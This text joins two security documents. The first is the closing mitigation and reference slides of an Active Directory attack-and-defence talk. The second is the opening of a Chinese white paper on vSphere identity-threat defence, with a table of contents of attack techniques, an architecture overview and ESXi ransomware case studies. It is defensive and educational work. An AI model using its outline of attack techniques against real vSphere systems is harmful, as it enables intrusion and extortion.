• Domain Controller Skeleton Key Malware Microsoft ATA Suspicious Activity Credential Theft Protection (Future) Additional Mitigations • Monitor scheduled tasks on sensitive systems (DCs, etc) • Block internet access to DCs & servers. • Monitor security event logs on all servers for known forged Kerberos & backup events. • Include computer account password changes as part of domain-wide password change scenario (breach recovery). • Change the KRBTGT account password (twice) every year & when an AD admin leaves. • Incorporate Threat Intelligence in your process and model defenses against real, current threats. Summary • Attackers will get code running on a target network. • The extent of attacker access is based on defensive posture. • Advanced attacks may be detectable. Though it’s better to prevent this type of access in the first place. • Protect AD Admins or a full domain compromise is likely! My research into AD attack, defense, & detection is ongoing. This is only the beginning… Thanks! • Alva “Skip” Duckwall (@passingthehash) • http://passing-the-hash.blogspot.com • Benjamin Delpy (@gentilkiwi) • http://blog.gentilkiwi.com/mimikatz • Chris Campbell (@obscuresec) • http://obscuresecurity.blogspot.com • Joe Bialek (@clymb3r) • https://clymb3r.wordpress.com • Matt Graeber (@mattifestation) • http://www.exploit-monday.com • Rob Fuller (@mubix) • http://www.room362.com • Will Schroeder (@harmj0y) • http://blog.harmj0y.net • Many others in the security community! • My wife & family for putting up with me being on the computer every night! CONTACT: Sean Metcalf @PyroTek3 sean [@] dansolutions . com http://DAnSolutions.com https://www.ADSecurity.org References • Skip Duckwall & Benjamin Delpy’s Blackhat USA 2014 presentation “Abusing Microsoft Kerberos – Sorry Guys You Still Don’t Get It” http://www.slideshare.net/gentilkiwi/abusing-microsoft- kerberos-sorry-you-guys-dont-get-it • Tim Medin’s DerbyCon 2014 presentation: “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades” https://www.youtube.com/watch?v=PUyhlN-E5MU • TechEd North America 2014 Presentation: TWC: Pass-the-Hash and Credential Theft Mitigation Architectures (DCIM-B213) Speakers: Nicholas DiCola, Mark Simos http://channel9.msdn.com/Events/TechEd/NorthAmerica/2014/DCIM-B213 • Chris Campbell - GPP Password Retrieval with PowerShell http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html • Protection from Kerberos Golden Ticket - Mitigating pass the ticket on Active Directory CERT-EU Security White Paper 2014-07 http://cert.europa.eu/static/WhitePapers/CERT-EU- SWP_14_07_PassTheGolden_Ticket_v1_1.pdf • An overview of KB2871997 http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx • Microsoft security advisory: Update to improve Windows command-line auditing: (2/10/2015) http://support.microsoft.com/en-us/kb/3004375 References • Kerberos, Active Directory’s Secret Decoder Ring http://adsecurity.org/?p=227 • Kerberos & KRBTGT: Active Directory’s Domain Kerberos Account http://adsecurity.org/?p=483 • PowerShell Code: Check KRBTGT Domain Kerberos Account Last Password Change http://adsecurity.org/?p=481 • Mimikatz and Active Directory Kerberos Attacks http://adsecurity.org/?p=556 • Mining Active Directory Service Principal Names http://adsecurity.org/?p=230 • MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege http://adsecurity.org/?tag=ms14068 • Microsoft Enhanced security patch KB2871997 http://adsecurity.org/?p=559 • SPN Directory: http://adsecurity.org/?page_id=183 • PowerShell Code: Find-PSServiceAccounts https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find- PSServiceAccounts References • DEF CON 22 - Ryan Kazanciyan and Matt Hastings, Investigating PowerShell Attacks https://www.youtube.com/watch?v=qF06PFcezLs • Mandiant 2015 Threat Report https://www2.fireeye.com/WEB-2015RPTM-Trends.html • PowerSploit: https://github.com/mattifestation/PowerSploit • PowerView: https://github.com/Veil-Framework/PowerTools/tree/master/PowerView • PoshSec: https://github.com/PoshSec • Microsoft Kerberos PAC Validation http://blogs.msdn.com/b/openspecification/archive/2009/04/24/understanding- microsoft-kerberos-pac-validation.aspx • "Admin Free" Active Directory and Windows, Part 1 & 2 http://blogs.technet.com/b/lrobins/archive/2011/06/23/quot-admin-free-quot-active- directory-and-windows-part-1-understanding-privileged-groups-in-ad.aspx
pdf
ITDR 介绍 A ITDR 之 vSphere B ITDR 之 vSphere 赛博昆仑 昆仑实验室负责人-古河 (Yuki Chen) vSphere 作为基础计算平台在如今企业环境中被广泛应用 , 同时对其的攻击和漏洞挖掘一直是非常热门的话 题 , 本书深入浅出地讲解了 vCenter 的攻防两面 , 对企业进行 vSphere 安全建设起到了重要的参考和指导意义。 奇安信 观星实验室负责人-龚玉山(ISWIN) vCenter 作为 vSphere 的核心控制节点,一直是攻击者的首选目标,本书总结了针对 vCenter 各个阶段的 攻击手法和实际案例以及对应的检测和加固方案,方便企业安全管理者快速了解 vSphere 攻击流程以及针对性 的防御方法。 深信服 深蓝实验室负责人-潘立亚(sm0nk) 集权类产品是攻防实战的兵家必争之地,拿到集权类产品权限相当于站到了攻击的制高点。vSphere 作为 重要的集权产品,同时又是云化虚拟化的的关键套件,倍受广大红队攻击手和漏洞挖掘者的关注和热爱。本书对 vSphere 产品体系、风险攻击面、攻击技战法(信息收集、权限获取、权限维持、防御绕过、虚拟机权限获取、 虚拟机逃逸)、安全加固 等维度 做出了攻击与防御的方法总结。无论是实战攻击手还是企业安全建设者均有重 要的参考和指导意义。 360 灵腾实验室负责人-赖志活 (wfox) vSphere 在攻防领域有小域控之称,vSphere 被攻破之后,不单单只是获取一台服务器的权限,其管理的多 台服务器都将沦陷。在攻防活动领域越来越多的攻击者把矛头放在攻击 vSphere 服务上,本书能够深入浅出地 讲解 vSphere 的风险威胁场景、实战攻击技战法以及如何应对加固防御,帮助读者更好地了解 vSphere 攻防技 术体系。 360安全专家-Ricter Z 本白皮书对于 vCenter 的各类研究都非常透彻,涉及 vCenter 相关的整体架构、攻防对抗、漏洞利用、后渗 透利用、防御加固等方面,覆盖了完整的利用生命周期。对于想针对 vCenter 进行漏洞挖掘研究的攻击方和想针 对 vCenter 进行加固的防御方都有极大的帮助和指导。vCenter 架构复杂,攻击面极多,想要完整研究需要深入 了解各个组件和功能,本书对于主要功能都有详细的研究,无疑是一个极佳的研究入手参考。 中安网星御守实验室 vSphere 是企业身份认证和集中计算的一个重要基础设施,同时也是攻防对抗中的一个火力焦点,是 ITDR 体系中绕不开的一环,在对其进行保护的研究的过程中我们深入分析了 vSphere 体系中的各个组件,梳理出了 其复杂的攻击面,输出了一份 vSphere 攻防技术白皮书,其中涉及 vSphere 的体系介绍、安全风险、攻击手法、 防御方案等,希望能对 vSphere 的研究起到一定的帮助作用。 ITDR 介绍 C 目录 1. ITDR介绍 1 2. vSphere体系介绍 2 2.1 ESXI 3 2.2 vCenter Server 4 2.3 管理客户端 5 2.4 存储网络和阵列 6 2.5 应用场景 6 2.6 小结 8 3. vSphere风险介绍 10 3.1 攻防场景下的vSphere 11 3.2 vSphere勒索分析 11 3.2.1 Babuk 12 3.2.2 Luna 12 3.2.3 REvil 13 4. vSphere攻击技战法 14 4.1 vSphere攻击场景介绍 15 4.2 vSphere攻击手法一览 16 4.3 信息探测 16 4.3.1 SOAP版本探测 16 4.3.2 密码爆破 18 4.3.3 密码喷洒 20 4.3.4 PSQL敏感信息查询 20 4.3.5 LDAP敏感信息查询 24 4.3.6 vCenter备份文件泄露 27 4.3.7 EAM用户服务文件读取 28 4.3.8 vCenter服务扫描 29 4.4 权限获取 31 4.4.1 CVE-2021-21985 31 4.4.2 CVE-2021-22005 33 4.4.3 log4j2 JNDI注入 35 4.4.4 利用Automation API操作虚拟机 40 4.4.5 利用Web Services API操作虚拟机 44 4.4.6 利用PowerCLI操作虚拟机 45 4.4.7 利用SSH登陆ESXI 48 4.4.8 CVE-2021-21972 50 4.4.9 Provider-SSRF 51 目录 CONTENTS ITDR 之 vSphere D ITDR 之 vSphere 4.4.10 Struts2-045 53 4.4.11 标识源凭据窃取 56 4.4.12 SAML证书认证 57 4.5 权限维持 59 4.5.1 LDAP新增账户 59 4.5.2 强制重置用户密码 61 4.5.3 高权限角色赋予 64 4.5.4 强制重置管理员密码 66 4.5.5 恶意vib安装包 67 4.5.6 恶意系统镜像 68 4.6 防御绕过 69 4.6.1 禁用日志记录 69 4.6.2 日志清除 70 4.6.3 关闭安全监控软件 71 4.7 虚拟机权限获取 71 4.7.1 Kon-Boot利用 71 4.7.2 VMDK文件挂载 75 4.7.3 快照读取HASH 78 4.7.4 利用PE获取虚拟机权限 79 4.8 虚拟机逃逸 82 5. vSphere加固 84 5.1 ESXI加固方案 85 5.1.1 限制ESXI对SSH访问 85 5.1.2 ESXI最小化权限管理 86 5.1.3 ESXI 端口管理 88 5.1.4 开启ESXI锁定模式 88 5.1.5 虚拟主机启用UEFI安全引导 89 5.1.6 ESXI启用TLS加密通信 91 5.1.7 ESXI配置PTP或NTP 92 5.1.8 对ESXI网络流量进行分层管理 93 5.1.9 启用主机加密模式 94 5.1.10 使用TPM2.0验证ESXI 95 5.2 vCenter Server 加固方案 96 5.2.1 开启双因素身份验证 96 5.2.2 加固 vCenter Server 系统 96 5.2.3 vCenter 配置SSO(Single Sign-On) 97 5.2.4 避免匿名管理员登录 98 5.2.5 验证 vSphere Client 证书 99 5.2.6 设置vCenter虚拟主机RDP高级别加密 99 5.2.7 限制vCenter Server网络连接 101 5.2.8 关键业务系统设置虚拟机加密 103 5.2.9 使用vSphere Trust Authority 106 ITDR 介绍 E 目录 5.2.10 vCenter Server时间同步设置 106 5.3 权限管理 108 5.3.1 限制用户对虚拟机控制台的访问 108 5.3.2 细化vCenter全局权限 110 5.3.3 细化虚拟机权限 112 5.3.4 细化特权角色权限分配 113 5.3.5 授予vCenter数据库用户最小的特权 115 5.3.6 限制数据存储浏览器访问 116 5.3.7 限制用户在虚拟机中运行命令 119 5.4 密码策略管理 120 5.4.1 开启ESXI密码策略 120 5.4.2 细化密码策略 122 5.4.3 定期修改vpxuser密码 123 5.4.4 细化密码复杂度 125 5.4.5 优化无用或长时间非活跃的账户 127 5.4.6 优化无用或长时间非活跃的管理员账户 127 5.4.7 优化密码过期时间异常用户 127 5.4.8 特权账号密码没有定期修改 128 6. 结语 130 ITDR 之 vSphere F ITDR 介绍 1 01 ITDR( 身份威胁检测和响应 ) 是一个新的安全类别,是指保护身份基础设施免 受恶意攻击的工具和流程,可以发现凭据窃取、特权滥用以及其他与身份相关的攻 击威胁和潜在风险。 当下随着整个 IT 基础架构逐渐云化及复杂化,身份成为了企业防护的新边界。 承载企业身份相关的身份基础设施逐渐成为主要的攻击对象,如 IAM、AD、PAM、 4A、vSphere 等。这些身份基础设施通常具有保存密码多、控制节点多、网络权限 广的特点,对攻击者而言是核心的攻击对象,对企业而言需要重点防护。 过去的 IT 架构相对简单,传统的安全防护模型是以边界设计为核心,安全信任 级别跟位置是强关联的。边界设计的网络安全方法是先连接,后信任,在网络边界 验证用户身份,如果用户被认定为是可信任的,就能访问该网络内的数据和资源。 过去的很长一段时间内,企业通过对各类边界层层防护拥有了强大的纵深防护 能力,但如今随着身份边界的建立,传统边界类的防护方案开始捉襟见肘,无法防 护新 IT 架构下新场景的攻击威胁。 为了顺应新的 IT 架构变革,更好的应对云时代的到来,近几年来企业开始应用 身份认证和管理类方案,如 IAM、IGA 、IDaaS 和 PAM 等,此类方案主要侧重于授 权和身份验证,确保合适的人可以访问他们需要的文件和应用资源,但却疏忽了身 份威胁检测和响应的能力,同时这些设施本身也带来了巨大的攻击风险。 大多数的攻击案例中我们可以看出,攻击者会针对企业内重要身份基础设施进 行定向攻击,因为其权限及网络环境的特殊性,此类基础设施一旦被利用,将会成 为引发重大安全事故的核心节点,而其中的每一个身份都会成为扩展新攻击路径的 重要媒介。而 ITDR 正是在此类场景下,监测针对身份基础设施的攻击,通过结合 异常身份请求、UEBA、身份蜜罐等方式,避免用户身份失窃、权限滥用等风险。 因此,Gartner 认为创建 ITDR 这个新类别将有助于组织集中精力并更好地获 取最佳工具和实践来保护其身份系统。换句话说,基于身份的攻击已经成为一种常 见的网络安全威胁,以至于需要一种专门的、针对性的方法来对抗这种威胁。 本书是 ITDR 系列的其中一篇,将从身份攻击的角度讲解企业重要的身份基础 设施——vSphere 的各个攻击面、利用手法及防御措施。 ITDR 介绍 vSphere 体系介绍 02 ITDR 之 vSphere 2 2.vSphere体系介绍 vSphere 是 VMware 推出的基于云的新一代数据中心虚拟化套件,提供了虚拟 化基础架构、高可用性、集中管理、监控等一整套解决方案。vSphere 是业界领先 且最可靠的虚拟化平台。vSphere 将应用程序和操作系统从底层硬件分离出来,从 而简化了 IT 操作。 VMware vSphere 在企业内的应用主要分为以下几个场景 : 1.虚拟化应用:提供增强的可扩展性、性能和可用性,使用户能够虚拟化应 用。 2.简化虚拟数据中心的管理:凭借功能强大且简单直观的工具管理虚拟机的创 建、共享、部署和迁移。 3.数据中心迁移和维护:执行工作负载实现迁移和数据中心维护,而无需中断 应用。 4.为虚拟机实现存储转型:使外部存储阵列更多地以虚拟机为中心来运行,从 而提高虚拟机运维的效率。 5.私有云构建:使用VMware vSphere和VMware产品体系或开源框架(如 open stack和VMware Integrated OpenStack附加模块),可以构建和运维适合生 产环境需求的云计算环境。 vSphere 不 是 一 个 单 独 的 产 品, 它 由 一 系 列 产 品 和 组 件 组 成,VMware vSphere 架构模型主要分为两个核心,即 ESXI 主机和 vCenter Server 服务器。还 包括存储网络和阵列、网络系统、管理客户端等。下文将介绍一些 vSphere 的核 心组件。 2.1 ESXI 在 vSphere 体系中,最为核心的就是 ESXI,ESXI 主机是对物理服务器上的所 有资源进行了虚拟化并汇总成资源池,通过直接访问并控制底层资源,ESXI 可将多 台服务器整合到较少物理设备中,从而减少对空间、电力和 IT 管理的要求,以及 对硬件进行有效地分区,以便整合应用和降低成本,同时提升性能。它是业界领先 的高效体系架构,在可靠性、性能和支持方面树立了行业标杆。 ESXI相较于其他虚拟化产品的优点在于: 1. 占用空间小:尽管 ESXI 占用空间仅为 150MB,却可实现更多功能,同时还 能最大限度地降低 Hypervisor 的安全风险。 2.vSphere 体系介绍 3 2. 可靠的性能:适应任何规模的应用。虚拟机配置最高可达 128 个虚拟 CPU、 6TB 的 RAM 和 120 台设备,以满足所有应用需求。 3. 增强的安全性:利用强大的加密功能保护敏感的虚拟机数据。基于角色的访 问可简化管理,而广泛的日志记录和审核可以更好地落实责任,还可更加轻松地进 行取证分析。 4. 卓越的生态系统:由硬件 OEM 供应商、技术服务合作伙伴、应用和客户机操 作系统组成的广泛生态系统的支持。 5. 方便用户使用的体验:利用基于 HTML5 标准的内置现代 UI 管理日常行政操 作。对于需要实现运维自动化的客户,VMware 提供 vSphere 命令行界面及相应的 API 以便于运维及开发人员的使用。 2.2 vCenter Server vCenter 一般指 VMware vCenter Server,它为数据中心提供了一个可伸缩、 可扩展的控制平台,为虚拟化管理奠定了基础,可集中管理 VMware vSphere 环境。 它提供基本的数据中心服务,如访问控制、性能监控和配置功能。它将各台计算服 务器中的资源统一在一起,使这些资源在整个数据中心中的虚拟机之间共享。其原 理是:根据系统管理员设置的策略,管理虚拟机到计算服务器的分配,以及资源到 给定计算服务器内虚拟机的分配。 与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制,vCenter 可 以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户 操作系统和其他关键组件等所有信息,达到一个控制中心管理所有主机集群的目的。 vCenter Server 的广泛使用,在于其具备的各种非常优秀的特性 : 集中控制: 1.vSphere Web Client 支持在世界上任何地点通过任意浏览器管理 vSphere 的 重要功能。 2. 清单搜索功能使用户在任意位置均可通过 vCenter 轻松访问整个 vCenter 清 单(包括虚拟机、主机、数据存储和网络)。 3. 硬件监控功能可在关键组件出现硬件故障时发出警报,并提供一个显示物理 服务器和虚拟服务器运行状况的综合视图。 4. 存储映射和报告功能可提供存储利用率、连接和配置情况。 5. 改进的警报和通知功能支持新的实体、衡量指标和事件,例如特定于数据存 储和虚拟机的警报。 6. 改进的性能图可监控虚拟机、资源池和服务器的利用率及可用性,并提供可 实时查看或按指定时间间隔查看的、更加详细的统计数据和图表。 ITDR 之 vSphere 4 主动管理VMware vSphere 1. 主机配置文件对 ESXI 主机配置的管理和配置方式进行标准化和简化。 2. 由于完全支持 VMware 分布式电源管理,因此可提高能效。 3. 新增的 vCenter Orchestrator 是一个功能强大的编排引擎,允许用户使用现 成的工作流或通过拖放式界面轻松装配工作流来自动执行 800 多个任务,从而简化 了管理。 4. 改进了补丁程序管理。借助 vSphere Update Manager 中的遵从性控制面 板、基准组和共享的补丁程序存储库,可改进补丁程序管理,vSphere Update Manager 会自动对 vSphere 主机进行扫描和修补。 可扩展的管理平台 1. 改进大规模管理。 2. 链接模式提供了一个可扩展的体系结构,可跨多个 vCenter Server 实例查看 所需信息,还可以在整个基础架构内复制角色、权限和许可证,因此可以同时登录 所有 vCenter Server,并查看和搜索其清单。 3. 与系统管理产品集成 Web 服务 API 可以保护用户的资料,允许用户自由选 择如何管理环境。 优化分布式资源。 1. 虚拟机的资源管理。 2. 动态资源分配。 3. 高能效资源优化。 High Availability使用vSphere HA自动重启虚拟机 1. 提供易于使用、经济高效的故障切换解决方案。 安全性 1. 精细的访问控制。 2. 与 Microsoft 的 Active Directory 集成、自定义角色和权限、记录审核信息、 会话管理、补丁程序管理。 2.3 管理客户端 VMware vSphere 为数据中心管理和虚拟机访问提供多种界面。这些界面包括 VMware vSphere Client (vSphere Client)、vSphere Web Client(用于通过 Web 浏览器访问)或 vSphere 命令行界面 (vSphere CLI)。自 vSphere 6.5 之后,推荐 使 用 基 于 vSphere Client(HTML5) 方 式 访 问 vCenter Server。vSphere Web 2.vSphere 体系介绍 5 Client 逐步放弃使用。 vSphere Web Client:vSphere Web Client 是安装在 vCenter Server 计算机 上的 Web 应用程序。vSphere Web Client 是用于连接和管理 vCenter Server 的实 例的主界面。此种界面管理方式在 vSphere 6.5 以后将逐渐淘汰。 vSphere Client:vSphere Client 安 装 在 可 通 过 网 络 访 问 ESXI 或 vCenter Server 系统安装的 Windows 计算机上。该界面上可能会显示略微不同的选项,具 体取决于所连接的服务器类型。单个 vCenter Server 系统或 ESXI 主机可以支持多 个同时连接的 vSphere Client。 2.4 存储网络和阵列 光纤通道 SAN 阵列、iSCSI SAN 阵列和 NAS 阵列是广泛应用的存储技术, VMware vSphere 支持这些技术以满足不同数据中心的存储需求,存储阵列通过存 储区域网络连接到服务器组并在服务器组之间共享,此安排可实现存储资源的聚合, 并在将这些资源置备给虚拟机时使资源存储更具灵活性。 2.5 应用场景 企业中对于 vSphere 的应用主要分为服务器集群与云桌面两种场景。 ◑ 服务器集群 大多数企业为了更加高效和节约成本的使用硬件计算资源,会选择使用 ESXI 进 行搭建服务器的虚拟化集群,比较典型的场景如下图所示 : ITDR 之 vSphere 6 受限于单台 ESXI 的性能,企业一般会部署多台 ESXI,并将不同属性或不同业 务的服务器按需搭建在不同的 ESXI 上,组成一个虚拟化的集群,为方便数据管理以 及 ESXI 的高可用,通常 ESXI 集群会向下通过一个存储交换机,连接至一台存储服 务器,以进行快速的数据迁移等操作。向上通过一个网络交换机连接至上游网络, 同时配置 vCenter 对 ESXI 集群进行管理,可以是单台 vCenter 管理单台 ESXI,也 可以是单台 vCenter 管理多台 ESXI,对于 vCenter 的网络位置可以在交换机之后也 可以在交换机之前,这是一个比较典型的用于服务器集群的 vSphere 基础架构。 ◑ 云桌面 部分企业对 vSphere 的实践为构建云桌面体系,在这样的架构下抽象出来的 VM 层如下图所示 :。 在云桌面的应用场景中,计算机的统一管理一般使用办公网集权管控方案 AD, 对计算机及用户账户进行统一管理,对于 VM 层则采用 vCenter 方案对 ESXI 进行集 中管理,对于用户侧,用户可以直接使用 Horizon 客户端直连云桌面。 此处为一些抽象的概念,在实际企业应用场景中,为了确保稳定性与可用性, 云桌面的架构会相对更复杂一些。 2.vSphere 体系介绍 7 2.6 小结 根据上面的介绍,ESXI 就是一个虚拟层,在 ESXI 上可以安装其他的 OS,就 像在硬件上安装一样。当在服务器上安装了 ESXI,这个服务器的底层硬件就会被虚 拟化,这意味着我们可以用这台 ESXI 服务器上创建、配置多个虚拟机和 OS(Linux 和 Windows 均可),结构如下图所示 : vSphere Client 就是通过它远程连接控制 ESXI 上的客户端程序。管理员可以 通过 vSphere client 连接 ESXI 来访问和管理虚拟机,即是用来从客户机端机器连 接 ESXI 执行任务的。 vSphere Client 能 够 经 过 访 问 vCenter Server 来 管 理 多 个 ESXI 服 务 器。 vSphere 功能强大,且具有可拓展,权限分级等特点,除此之外还具有以下优点: 1. 通过高利用率和实现自动化获得高效率:可实现 15:1 或更高的整合率,将 硬件利用率从 5%~15% 提高到 80% 甚至更高,而且无需牺牲性能。 2. 在整个云计算基础架构范围内最大限度地增加正常运行时间:减少计划外停 机时间,并消除用于服务器和存储维护计划内停机时间。 3. 大幅降低 IT 成本:使资金开销降幅高达 70%,运营开销高达 30%,从而为 VMware vSphere 上运行的每个应用降低 20%~30% 的 IT 基础架构成本。 4. 兼具灵活性和可控性:快速响应不断变化的业务需求而又不牺牲安全性或控 ITDR 之 vSphere 8 制力,并且为 VMware vSphere 上运行的所有关键业务应用提供零接触式基础架构, 以及内置的可用性、可扩展性和性能保证。 5. 可自由选择:使用基于标准的通用平台,既可利用现有 IT 资产,又可利用 新一代 IT 服务,并且通过开放 API 与来自全球领先技术提供商体系的解决方案集成, 以增强 VMware vSphere。 正是因为 vSphere 如此多的优势和用途,vSphere 获得了广泛的使用,尤其 是大企业、政府、医院等重要部门,在全球范围内获得了成功。 2.vSphere 体系介绍 9 vSphere 风险介绍 03 ITDR 之 vSphere 10 3. vSphere风险介绍 3.1 攻防场景下的vSphere 在实际场景中,企业为了提高性能和成本效益同时实现简化数据中心和方便大 规模管理,往往会在一台 ESXI 服务器中部署数台甚至数十台虚拟机作为日常的工 作服务主机或者数据库。所以, ESXI 主机中会保存着与它在同一物理主机上的其 他虚拟机的源文件以便对这些虚拟机进行管理。简而言之 ESXI 类似于存放着数台 服务器的机房,如果机房被人攻击或劫持,将对一个企业或组织造成难以估量的损 失。 同时 ESXI 上部署的服务器 / 数据库可能需要向客户提供服务,这也使得攻击 者有机会直接从网络接触到 ESXI 主机上的虚拟机,从网络层面为攻击者提供了入 侵的可能性。 因此,vSphere 在作为一个方便强大的数据中心虚拟化套件,被全球各大企 业、政府、医院、教育等机构广泛采用,其包含的众多虚拟机及数据文件成了黑产 活动中极具价值的财富,所以黑客和勒索软件纷纷将 vSphere 列为攻击目标,致使 vSphere 暴露于多种风险之中。 为了保护各类大企业、政府、医院、教育等机构的数据安全,现在红蓝对抗和 安全研究中也积极的对 vSphere 进行了一系列攻击链的研究和安全加固,力求在攻 击中发现风险,修复风险,避免风险。 如下图所示,作为 vSphere 体系中另外一个核心的组件 vCenter,管理着 所有的 ESXI 及其虚拟机,因此也具有极高的利用价值和攻击风险。vCenter 在 vSphere 体系中的角色类似域控制器在 AD 域架构中的角色,vCenter 拿下之后, 不单单只是获取一台服务器的权限,属 vCenter 所管的所有 ESXI、虚拟机均将暴 露在攻击者的视野之下,甚至部署在 ESXI 下的 AD 域也将遭受攻击。 因此,因此拿下 vCenter 的价值不亚于域控,全球范围内在如火如荼的攻防演 练以及真实网络环境下随时都有可能发生的恶意攻击中,均将 vCenter 视为其重要 的攻击目标进行重点突破。 3.2 vSphere勒索分析 勒索软件(ransomware)是一种流行的木马,通过骚扰、恐吓甚至采用绑架 3.vSphere 风险介绍 11 用户文件等方式,使用户数据资产或计算资源无法正 常使用,并以此为条件向用户勒索钱财。这类用户数 据资产包括文档、邮件、数据库、源代码、图片、压 缩文件等多种文件。赎金形式包括真实货币、比特币 或其它虚拟货币。一般来说,勒索软件作者还会设定 一个支付时限,有时赎金数目也会随着时间的推移而 上涨。有时,即使用户支付了赎金,最终也还是无法 正常使用系统,无法还原被加密的文件。 随着互联网技术的快速更新,网络用户量剧增, 各个政府部门、组织和企业对计算资源和存储资源的 需求骤增;云计算和虚拟技术的兴起让各大云服务提 供商和虚拟化技术公司为各个政府部门、组织和企业 提供了定制化资源服务和虚拟化解决方案以满足日常 资源需求。VMware 作为云服务和虚拟化领域的领头 企业,其客户几乎涵盖所有领域;除此之外,各大云 服务提供商也为其客户提供间接的 VMware 虚拟化服 务,VMware 已经成为虚拟化市场的绝对霸主。因此, 众多勒索组织为了加密更多更重要的数据以勒索更高 额的赎金开始将目标延伸到 vSphere 平台上。 如下图所示,黑客一般会通过攻击 vCenter 的方 式,控制 ESXI,通过加密存储服务器上的虚拟机磁盘 文件等信息,从而实施勒索。 下文我们简单分析几个针对 ESXI 勒索的案例, 来发现其针对 ESXI 攻击的各种特点。 3.2.1 Babuk Babuk Locker(又称 Babyk)是 2021 年 1 月开 始运营的勒索软件,采用 RaaS(勒索软件即服务) 模式运营,可针对 Windows、Linux 双平台发起攻击, 受害者主要分布在美国,其次为英国、德国、乌克兰、 芬兰、巴西、洪都拉斯和泰国。 2021 年 2 月,运营英国新冠肺炎检测与追踪系统 部分业务的跨国外包公司 Serco 遭受了 Babuk 勒索 软件团伙攻击,致使 Test&Trace APP 服务出错,超 过 7000 人受到影响。攻击者潜伏在 Serco 的网络中 达三周之久,泄露了多达 1TB 数据。 2021 年 4 月,美国华盛顿警察局遭 Babuk 勒索 软件团伙攻击,该团伙声称加密并窃取了约 250G 文 件,其中包含警方调查报告、本地帮派、警方线人等 敏感信息。Babuk 以警方线人信息作为要挟,向警察 局勒索 400 万美元赎金,最终谈判破裂,Babuk 在其 泄密网站上公布了包括属于警察部门成员的社会安全 号码和华盛顿特区地铁警察局存档的相关人员名单以 及警方线人信息。 Babuk 在地下论坛上宣布它正在开发针对 Linux/ UNIX 和 ESXI 或 VMware 的跨平台二进制文件,公司 中的许多核心后端系统都在这些 *nix 操作系统上运 行,或者在虚拟化的情况下托管多台服务器及虚拟桌 面环境的 ESXI。该软件的作者晚些时候在黑客论坛上 公布了勒索软件的完整源代码,用于生成 Windows 和 Linux 可执行文件,其中包括 VMware ESXI 加密器。 ESXI 加密器只需提供目标文件的路径。它会扫 描目录中是否存在扩展名为 .log、.vmdk、.vmem、. vswp 和 .vmsn 的文件。一旦找到它们,它就会使用 流密码 Sosemanuk 对它们进行加密。 Babuk 在每个包含加密文件的文件夹中放置一个 文本文件“How To Restore Your Files.txt”,其中带 有勒索字条。并且 Babuk 在加密文件之前不会关闭 ESXI 虚拟机。这可能会导致文件损坏或导致无法解密 文件。 3.2.2 Luna Luna 勒索软件于 2022 年 7 月出现。Luna 勒索 软件系列可用于加密运行多种操作系统的设备,包括 Windows、Linux 和 ESXI 系统。与其竞争对手不同, 该威胁从开始运行之日起就针对 VMware ESXI 实例。 这种新勒索软件背后的团队使用 Rust 开发了这种新病 毒,并利用其与平台无关的特性将其移植到多个平台, 而对源代码的更改很少。 与其他勒索软件威胁类似, Luna 作为 RaaS 运行。 ESXI 加 密 器 针 对:OpenServer、Windows、 ITDR 之 vSphere 12 Program Files、Recycle.Bin、ProgramData、 AppData、All Users;.ini、.dll、.exe、.lnk 文 件 进 行加密,使用 X25519 和 AES 的组合。并且与 Babuk 相同的是 Luna 也不会关闭虚拟机,这可能会导致文 件损坏或无法解密加密文件。 文 件 加 密 后,Luna 会 在 文 件 名 后 附 加 .Luna 扩展名,然后创建一个带有勒索字条的文本文件 “readme-Luna.txt”。 3.2.3 REvil REvil(又名 Sodinokibi)是最臭名昭著的勒索 软件团伙之一。它成立于 2019 年,此后按照 RaaS 模 式运营。2021 年 6 月,勒索软件开始针对 VMware ESXI实例。据称作者于2022年1月被俄罗斯当局逮捕, 但截至 2022 年 9 月,该团伙仍然活跃。 REvil 的 ESXI 加密器可以在大多数复杂环境独立 运行。运行后将立即开始加密当前目录中的所有文件。 在加密文件之前,该工具会尝试使用 esxcli 命令行实 用程序关闭虚拟机。当文件被加密时,它会在文件名 后附加一个特定的扩展名,例如 .rhkrc、.qoxaq、. naixq。在加密文件所在的文件夹中,它还会留下带有 勒索字条的“XXXXX-readme.txt”文件(XXXX 字符 串替换为所选的随机扩展名) 其实,勒索组织一直在不断寻找新的攻击目标和 攻击手段,勒索组织做出 “针对 vSphere 平台攻击” 的这种改变并非偶然。最近几年,全球安全机构与公 司均观察到针对 ESXI 服务器的勒索软件有所增加。由 于虚拟化是任何大规模部署计算和存储资源的基础, 因此勒索软件参与者现在将他们的目标扩展到包括虚 拟化服务器也就不足为奇了,针对 vSphere 平台的勒 索攻击,能够使勒索组织像控制一间企业服务器的机 房一样对数台服务器进行控制,攻击者对这些虚拟机 的源文件进行加密,可能直接造成数据库被加密、对 外提供服务中断甚至公司系统瘫痪,勒索组织往往开 出更高额的赎金,基于 VMware 在全球的用户体量, 针对 VMware vSphere 进行勒索可以拥有众多勒索对 象,同时能够通过虚拟化平台 vSphere 控制企业 / 组 织的大量数字资产,极大地提高了勒索的收益和成功 率。如此釜底抽薪的勒索方式,让受害者企业 / 组织 短时间难以应付。 3.vSphere 风险介绍 13 vSphere 攻击技战法 04 ITDR 之 vSphere 14 4. vSphere攻击技战法 前面我们主要讨论了 vSphere 的体系介绍及相关的风险分析,本章主要介绍 攻击视角下 vSphere 下的攻击方法,包括 vSphere 具有的攻击场景,历史漏洞, 可以利用的攻击手法,并将攻击手法按照渗透测试的步骤,即信息探测、权限获取、 持久化、防御绕过、虚拟机权限获取、虚拟机逃逸进行分类,方便明确在 vSphere 渗透测试活动每一阶段对应的攻击手法,帮助发现的利用 vSphere 漏洞完成渗透 测试和加固系统的目的。 4.1 vSphere攻击场景介绍 vSphere 有几个比较典型的攻击场景,除了通过暴露在公网上的 vCenter 的 title 和端口作为渗透的第一步,更多的是在内网渗透中,通过内网信息探测,如果 发现 vCenter 的指纹,此时可以将 vCenter 作为首要攻击目标,一旦拿下,同时会 控制其他大量的虚拟机。 在攻防演练中,可以先寻找暴露的资产,即查找公网 vCenter 服务器,可以通 过工具获取网页 title 等指纹特征来发现 vCenter 服务器,也可以查找 vCenter 开 